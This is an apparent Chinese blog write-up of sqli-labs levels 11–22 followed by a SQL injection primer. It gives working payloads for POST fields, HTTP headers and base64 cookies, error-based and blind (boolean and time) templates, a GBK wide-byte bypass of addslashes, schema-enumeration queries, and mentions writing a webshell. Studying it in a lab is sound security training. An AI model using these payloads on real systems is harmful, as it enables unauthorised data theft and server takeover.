something about sqliLabs 0x03

sqli-labs

sqli-labs => 备份地址

Page-1(Basic Challenges)

Less-11

POST - Error Based - Single quotes - String

提交方式为POST方式,直接构造post请求
uname=username&passwd=password'+or+true+--+&submit=Submituname=username&passwd=password'+or+true+--+&submit=Submit都可,两处都可注入。

Less-12

POST - Error Based - Double quotes - String - with twist

多试几次,发现闭合方式不同,双引号与括号闭合("$id")
uname=username")+or+true+--+&passwd=password&submit=Submituname=username&passwd=password")+or+true+--+&submit=Submit都可,两处都可注入。

Less-13

POST - Double Injection - Single quotes - String - with twist

闭合方式为('$password')
uname=username')+or+true+--+&passwd=password&submit=Submituname=username&passwd=password')+or+true+--+&submit=Submit两处都可注入。

Less-14

POST - Double Injection - Double quotes - String - with twist

闭合方式为"$password"
uname=username"+or+true+--+&passwd=password&submit=Submituname=username&passwd=password"+or+true+--+&submit=Submit两处都可注入。

Less-15

POST - Blind - Boolean/Time Based - Single quotes

uname=username'+or+true+--+&passwd=password&submit=Submituname=username&passwd=password'+or+true+--+&submit=Submit两处都可注入。

Less-16

POST - Blind - Boolean/Time Based - Double quotes

uname=username")+or+true+--+&passwd=password&submit=Submituname=username&passwd=password")+or+true+--+&submit=Submit都可以注入。

Less-17

POST - Update Query - Error Based - String

这不是普通的select语句,而是update语句,可以利用0x01中学到的updatexml(),extractvalue()报错来获取信息。

uname=Dumb&passwd=newpassword'+or+updatexml(1,concat(0x7e,database()),1)+or+'close&submit=Submit即可成功注入,并获得了database()信息。

Less-18

POST - Header Injection - Uagent field - Error based

需要注入HTTP头,由于这次查询,先查询用户/密码是否存在,如果存在,将其 User-Agent 存入数据库中。

注入HTTP头User-Agent属性。

1
2
3
4
5
6
7
POST /Less-18/ HTTP/1.1
Host: train.com
User-Agent: test' or updatexml(1,concat(0x7e, database()) ,1) or 'close
...
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-19

POST - Header Injection - Referer field - Error based

注入HTTP头Referer属性,此属性是用来标识,请求来源于哪个URL

1
2
3
4
5
6
7
8
9
10
POST /Less-19/ HTTP/1.1
...
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
...
Referer: close' or updatexml(1,concat(0x7e, database()) ,1) or 'close
...

uname=admin&passwd=admin&submit=Submit

Less-20

POST - Cookie Injections - Uagent field - Error based

HTTP头Cookie属性进行注入。

1
2
3
4
5
6
7
POST /Less-20/ HTTP/1.1
Host: train.com
...
Cookie: uname=admin' or updatexml(1, concat(0x7e, database()),1) or 'close; ZDEDebuggerPresent=php,phtml,php3
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

跟隨redirection,即可以看到结果。

Less-21

POST - Cookie Injections - Uagent field - Error based

Less-20 相同,但是观察到uname = YWRtaW4=中是有=存在的,联想到 BASE64编码后,会出现=补足编码。

使用base64工具解码查看:

1
2
~$ echo "YWRtaW4=" | base64 -d -
admin

与请求内容吻合,因此构造好payload后还需要进行BASE64编码。
构造payload为admin' or updatexml(1, concat(0x7e, database()),1) or 'close

使用base64工具编码:

1
2
~$ echo "admin' or updatexml(1, concat(0x7e, database()),1) or 'close" | base64 -
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg==

最终payload为:

1
2
3
4
GET /Less-21/index.php HTTP/1.1
...
Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg%3d%3d; ZDEDebuggerPresent=php,phtml,php3
Upgrade-Insecure-Requests: 1

Less-22

POST - Cookie Injections - Uagent field - Error based

Less-21 相比,闭合方式为",其他相同。


something about SQL-Injection skills

SQL 注入分类

报错注入

  • 报错方法

    • Duplicate entry

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      and
      (
      select 1 -- 检索y的值(1)
      from (
      select count(*)
      ,concat( -- 利用 concat函数拼接内容,起别名为x
      0x23 -- 拼接#符号,分隔信息
      ,($PAYLOAD) -- payload
      ,0x23
      ,floor(rand(0)*2) -- floor函数与count(*),group by,结合使用来报错
      ) as x
      from information_schema.tables
      group by x -- floor产生的0/1序列,group by 时会报错(重复主键)
      ) as y
      )

      公式and+(+select+1+from+(+select+count(*)+,concat(0x23,($PAYLOAD),0x23,floor(rand(0)*2))as+x+from+information_schema.tables+group+by+x+)as+y+)+--+

  • updatexml报错

    1
    2
    3
    4
    5
    and
    updatexml(1
    ,concat($PAYLOAD -- ~(0x7e)是非法字符,一定会报错
    ,0x7e)
    ,1)

    公式,and+(updatexml(1,cancat(database(),0x7e),1))+--+

    updatexml(XML_document, XPath_string, new_value),当XPath_string格式出现错误时,mysql会报语法错误。

  • extractvalue报错

    1
    2
    3
    4
    5
    and
    extractvalue(1,
    concat($PAYLOAD
    ,0x7e)
    )

    公式and+(extractvalue(1,cancat($PAYLOAD,0x7e)))+--+

    extractvalue(XML_document, XPath_string),与updatexml()函数相同,当XPath_string格式出现错误时,mysql会报语法错误。

盲注

  • 基于布尔

    使用?id=1'+and+false+--+?id=1'+or+true+--+确认是否存在注入点。
    可是,确认存在注入点又能做到什么呢?

    由于 检索成功检索失败 两种情况天然为布尔型,因此可以据此进行大量请求,通过一系列的判断 获得数据库情况。

    例如可以通过大量类似于
    ?id=1'+and+(ascii(substr(database(),1,1))=ascii('a'))+--+
    ?id=1'+and+(ascii(substr(database(),2,1))=ascii('b'))+--+

    ?id=1'+and+(ascii(substr(database(),1,1))>ascii('m'))+--+
    ?id=1'+and+(ascii(substr(database(),1,1))<ascii('g'))+--+

    ?id=1'+and+(length(database())+<+20)+--+
    ?id=1'+and+(length(database())+>+10)+--+

    ?id=1'+and+(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))+<+20)+--+
    ?id=1'+and+(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1))+<+20)+--+
    id=1'+and+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))+<+ascii('m'))+--+
    id=1'+and+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1),1,1))+<+ascii('m'))+--+
    的猜测,得到数据库的名字,长度,数据表的长度等。

  • 基于时间

    使用?id=1'+or+true+--+?id=1'+and+sleep(5)+--+确认是否存在注入点。
    与基于布尔类似, 页面响应延迟页面响应正常 两种情况,天然为布尔型, 因此可以据此进行大量请求,通过一系列的判断获得数据库情况。

    使用例如下:
    ?id=1'+and+(ascii(substr(database(),1,1))<ascii('m'))+and+sleep(5)+--+
    ?id=1'+and+(ascii(substr(database(),2,1))>ascii('m'))+and+sleep(5)+--+

    利用了短路与的特性,
    and(ascii(...)) 时,会执行and sleep(...),页面延迟响应,
    and(ascii(...)) 时,and sleep(...)语句被短路,页面无延迟响应,即正常响应。

宽字节注入

当数据库使用的编码为类似GBK等双字节编码时,会导致在解析SQL语句的每个字符时以每两个字节来获取。

而在对SQL注入进行防范时,php经常会使用addslashes()对字符串中的特殊字符前增加\转义符。

例如注入后的参数,在URL中为URLencode后的值(hello%27or+true%23),传递到后台时为hello'or true#
后台的处理为:

1
$sql = "select a from tb where a='addslashes($param)';";

我们预想的结果为闭合hello,令ahello进行比较。

1
select a from tb where a='hello'or true#';

其实结果为ahello\'or true#,并未能够实现绕过。

1
select a from tb where a='hello\'or true#';

为了绕过addslashes()的转义,因此在向后台传递注入时,增加处理手段。在单引号'前增加一个字节,%dfURL中参数为%68%65%6c%6c%6f%df%27(此为全encode样子),传递到后台后为hello%df'(关注%df%27)。调用addslashes()函数后会在'前增加一个\,结果为 hello%df\'(关注%df%5c%27)。因此在数据库在解码时,由于我们人为的添加了一个字节,导致解码时会有一个错位。所以%df%5c会在一起解码成为一个汉字。

真实结果为ahello我,最终还是闭合成功,成功注入。

1
2
-- 假装`%df%5c`是汉字`我`
select a from tb where a='hello我'or true#';

SQL注入技巧

  • 注入注释

    注入注释时,可选择--#,其后最好紧跟一个空格,可以用%20+来表示空格。
    可以使用%23来表示#

  • 闭合

    • 可以使用and sleep(5)判断闭合方式

      ?id=1'+and+sleep(5)

      闭合成功时,页面响应延迟。
      页面正常响应时,说明闭合失败,需要更换闭合方式。

    • 尝试闭合'(单引号)

      id=’$id’

    • 尝试闭合"(双引号)

      ‘id=’ . ‘“‘ . $id . ‘“‘ . ‘…’

    • 尝试闭合()(括号)

      id=($id)

    • 尝试闭合('')(单引号与括号)

      id=(‘$id’)

    • 尝试闭合("")(双引号与括号)

      id=(“$id”)

  • 注入步骤

    1. 确认注入点

      确认是否存在注入点。

    2. 确认注入点类型

      本身就将检索结果渲染在页面上时,可以方便的将敏感信息输出至页面。
      报错型注入,会在页面输出报错信息,可以将敏感信息在报错信息中显示出来。

    3. 确认查询子列数

      确认sql查询了几列,页面上显示的是哪几列,确认后可以将敏感信息放置在对应的列中显示在 页面上。

      例如:原sqlselect username,password,birthday from ...where id='$id'。可以注入 select username,password,birthday from ...where id='1' and false union select 1,2,3 # ', 以确认页面上显示的是哪几列。

      根据上面确认的显示列,可以注入获得关心的信息。 select username,password,birthday from ...where id='1' and false union select version(),database(),3 # ', 这样就可以将关心的敏感信息显示在页面上。

  • 获取信息

    究竟SQL注入,是做什么的呢?它危险,究竟危险在什么地方呢?
    SQL注入的过程,是利用来源于用户的参数填充到SQL语句中,从而恶意使得SQL的 语句结构 发生变化,从而获得信息的过程。
    最典型的select...from...where password='$password',用户恶意提供1'or true # , 从而最终语句为select...from...where password='1'or true # '。这样的话就能够在不知道 密码的情况下登录成功,这不是很危险?

    既然可以像以上一样,改变SQL语句结构,为什么不能更恶意一些,构造一些语句,获取我们关心的 信息呢?
    比如select...from...where id='1' and false union select 1, version(), database() # ', 不就可以获得敏感信息了吗?

    那么可不可以更恶意一些呢?
    当服务器的数据库设置不当时,我们可以将查询输出至文件。 正常使用当然是输出查询到的记录,可是当我们输出恶意文件时,不就可以获取webshell了吗?

    因此or 1=1并不是我们的最终目的,最终目的是 信息 或者 控制权

    • 获取数据库名

      select+group_concat(schema_name)+from+information_schema.schemata

    • 获取数据表名

      select+group_concat(table_name)+from+information_schema.tables+where table_schema='dbName'

    • 获取列名

      select+group_concat(column_name)+from+information_schema.columns+where table_name='tableName'

    字段 说明
    information_schema schemata schema_name 数据库名
    information_schema tables table_schema 数据库名
    information_schema tables table_name 数据表名
    information_schema columns table_name 数据表名
    information_schema columns column_name 字段名

常见URLencode字符

char URLencode
空格 %20
# %23
%27
= %3d